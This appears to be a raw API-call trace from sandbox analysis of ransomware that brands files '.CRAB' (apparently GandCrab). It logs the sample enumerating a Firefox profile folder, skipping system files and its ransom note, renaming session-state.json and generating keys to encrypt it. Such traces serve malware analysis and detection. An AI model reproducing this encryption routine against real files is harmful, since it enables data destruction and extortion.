	[0121.029] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0121.029] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0121.029] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0121.029] CloseHandle (hObject=0x3fc) returned 1
	[0121.030] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.030] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.031] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.031] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.031] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.032] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0121.032] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.032] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.032] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\CRAB-DECRYPT.txt"
	[0121.032] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.032] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\CRAB-DECRYPT.txt") returned 127
	[0121.032] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\CRAB-DECRYPT.txt") returned 127
	[0121.032] lstrlenW (lpString=".txt") returned 4
	[0121.032] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.032] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.032] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.033] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\CRAB-DECRYPT.txt") returned 127
	[0121.033] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\2017-05\\CRAB-DECRYPT.txt") returned 127
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.033] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.033] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.033] FindNextFileW (in: hFindFile=0x3165fd8, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0121.033] FindClose (in: hFindFile=0x3165fd8 | out: hFindFile=0x3165fd8) returned 1
	[0121.033] FindNextFileW (in: hFindFile=0x3165d58, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0121.033] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.033] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.033] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\CRAB-DECRYPT.txt"
	[0121.033] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.034] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\CRAB-DECRYPT.txt") returned 119
	[0121.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\CRAB-DECRYPT.txt") returned 119
	[0121.034] lstrlenW (lpString=".txt") returned 4
	[0121.034] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.034] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.034] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\CRAB-DECRYPT.txt") returned 119
	[0121.034] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\archived\\CRAB-DECRYPT.txt") returned 119
	[0121.034] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.034] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.034] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.034] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.034] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.034] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.035] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.035] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.035] FindNextFileW (in: hFindFile=0x3165d58, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0121.035] FindClose (in: hFindFile=0x3165d58 | out: hFindFile=0x3165d58) returned 1
	[0121.035] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.035] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0121.035] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0121.035] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\CRAB-DECRYPT.txt"
	[0121.035] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.035] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\CRAB-DECRYPT.txt") returned 110
	[0121.035] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\CRAB-DECRYPT.txt") returned 110
	[0121.035] lstrlenW (lpString=".txt") returned 4
	[0121.036] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.036] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0121.036] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\CRAB-DECRYPT.txt") returned 110
	[0121.036] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\CRAB-DECRYPT.txt") returned 110
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0121.036] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0121.036] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.037] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.037] lstrcmpW (lpString1="session-state.json", lpString2=".") returned 1
	[0121.037] lstrcmpW (lpString1="session-state.json", lpString2="..") returned 1
	[0121.037] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="session-state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json"
	[0121.037] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.037] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112
	[0121.037] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112
	[0121.037] lstrlenW (lpString=".json") returned 5
	[0121.037] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.037] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0121.037] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.037] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112
	[0121.037] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json") returned 112
	[0121.037] lstrcmpiW (lpString1="session-state.json", lpString2="desktop.ini") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="autorun.inf") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="ntuser.dat") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="iconcache.db") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="bootsect.bak") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="boot.ini") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="ntuser.dat.log") returned 1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="thumbs.db") returned -1
	[0121.038] lstrcmpiW (lpString1="session-state.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.038] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.038] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB") returned 117
	[0121.038] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json")) returned 0x20
	[0121.039] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json", dwFileAttributes=0x20) returned 1
	[0121.039] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json.crab")) returned 1
	[0121.040] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0121.041] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB"
	[0121.041] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB.CRAB"
	[0121.041] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e9e0) returned 1
	[0121.041] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.042] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.042] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.042] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149424 | out: pbBuffer=0x3149424) returned 1
	[0121.042] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.042] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.042] CryptAcquireContextW (in: phProv=0x31492e8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492e8*=0xd6e5a0) returned 1
	[0121.042] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0121.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0121.043] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0121.043] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x3149400 | out: pbBuffer=0x3149400) returned 1
	[0121.043] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0121.043] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.043] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0121.044] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0121.044] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e408) returned 1
	[0121.044] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165fd8) returned 1
	[0121.044] CryptGetKeyParam (in: hKey=0x3165fd8, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0121.044] CryptEncrypt (in: hKey=0x3165fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149434*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149434*=0x100) returned 1
	[0121.045] GetLastError () returned 0x0
	[0121.045] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0121.045] CryptAcquireContextW (in: phProv=0x31492d8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31492d8*=0xd6e9e0) returned 1
	[0121.045] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x31492d4 | out: phKey=0x31492d4*=0x3165c58) returned 1
	[0121.045] CryptGetKeyParam (in: hKey=0x3165c58, dwParam=0x8, pbData=0x31492c4, pdwDataLen=0x31492cc, dwFlags=0x0 | out: pbData=0x31492c4*=0x800, pdwDataLen=0x31492cc*=0x4) returned 1
	[0121.045] CryptEncrypt (in: hKey=0x3165c58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149438*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149438*=0x100) returned 1
	[0121.046] GetLastError () returned 0x0
	[0121.046] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0121.046] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\session-state.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\session-state.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0121.046] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0121.047] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0121.047] ReadFile (in: hFile=0x3d8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314947c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314947c*=0x87, lpOverlapped=0x0) returned 1
	[0121.053] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0121.054] VirtualAlloc (lpAddress=0x0, dwSize=0x90, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0121.054] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.054] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xffffff79, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.054] WriteFile (in: hFile=0x3d8, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314946c*=0x90, lpOverlapped=0x0) returned 1
	[0121.055] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.055] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.058] WriteFile (in: hFile=0x3d8, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0121.059] WriteFile (in: hFile=0x3d8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314946c*=0x100, lpOverlapped=0x0) returned 1
	[0121.078] WriteFile (in: hFile=0x3d8, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314946c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314946c*=0x8, lpOverlapped=0x0) returned 1
	[0121.078] CloseHandle (hObject=0x3d8) returned 1
	[0121.079] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.079] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.079] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.079] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.080] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.080] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.080] FindNextFileW (in: hFindFile=0x3165918, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0121.080] lstrcmpW (lpString1="state.json", lpString2=".") returned 1
	[0121.080] lstrcmpW (lpString1="state.json", lpString2="..") returned 1
	[0121.080] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\", lpString2="state.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json"
	[0121.080] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0121.080] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104
	[0121.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104
	[0121.081] lstrlenW (lpString=".json") returned 5
	[0121.081] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.081] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0121.081] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0121.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104
	[0121.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json") returned 104
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="desktop.ini") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="autorun.inf") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="ntuser.dat") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="iconcache.db") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="bootsect.bak") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="boot.ini") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="ntuser.dat.log") returned 1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="thumbs.db") returned -1
	[0121.081] lstrcmpiW (lpString1="state.json", lpString2="CRAB-DECRYPT.txt") returned 1
	[0121.081] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0121.082] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json.CRAB") returned 109
	[0121.082] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting\\state.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\datareporting\\state.json")) returned 0x20
